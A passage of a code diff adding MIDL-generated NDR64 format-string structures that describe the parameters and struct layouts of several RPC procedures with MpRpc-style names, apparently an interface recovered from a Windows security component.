Struct_4530_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2173 + }, + { + /* Struct_4530_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag2171_t __midl_frag2171 = +{ +/* *Struct_4530_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2172 +}; + +static const __midl_frag2170_t __midl_frag2170 = +{ +/* **Struct_4530_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2171 +}; + +static const __midl_frag2168_t __midl_frag2168 = +{ +/* Proc218_ServerMpRpcSCCGetState */ + { + /* Proc218_ServerMpRpcSCCGetState */ /* procedure Proc218_ServerMpRpcSCCGetState */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2170, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag2164_t __midl_frag2164 = +0x7 /* FC64_INT64 */; + +static const __midl_frag2161_t __midl_frag2161 = +{ +/* Proc217_ServerMpRpcCacheManagerIsTrusted */ + { + /* Proc217_ServerMpRpcCacheManagerIsTrusted */ /* procedure Proc217_ServerMpRpcCacheManagerIsTrusted */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag2152_t __midl_frag2152 = +{ +/* Proc216_ServerMpRpcAccessibilityAsyncEvent */ + { + /* Proc216_ServerMpRpcAccessibilityAsyncEvent */ /* procedure Proc216_ServerMpRpcAccessibilityAsyncEvent */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2364, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag2123_t __midl_frag2123 = +{ +/* Struct_4334_t */ + { + /* Struct_4334_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_4334_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 224 /* 0xe0 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 56 /* 0x38 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 64 /* 0x40 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 96 /* 0x60 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 104 /* 0x68 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 112 /* 0x70 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 120 /* 0x78 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 128 /* 0x80 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 136 /* 0x88 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 144 /* 0x90 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 152 /* 0x98 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 160 /* 0xa0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 168 /* 0xa8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 176 /* 0xb0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 184 /* 0xb8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 192 /* 0xc0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 200 /* 0xc8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 208 /* 0xd0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 216 /* 0xd8 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag2122_t __midl_frag2122 = +{ +/* *Struct_4334_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2123 +}; + +static const __midl_frag2121_t __midl_frag2121 = +{ +/* Proc215_ServerMpRpcSendDlpEventDataToEngine */ + { + /* Proc215_ServerMpRpcSendDlpEventDataToEngine */ /* procedure Proc215_ServerMpRpcSendDlpEventDataToEngine */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2123, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2117_t __midl_frag2117 = +{ +/* Struct_4296_t */ + { + /* Struct_4296_t */ + 0x30, /* FC64_STRUCT */ + 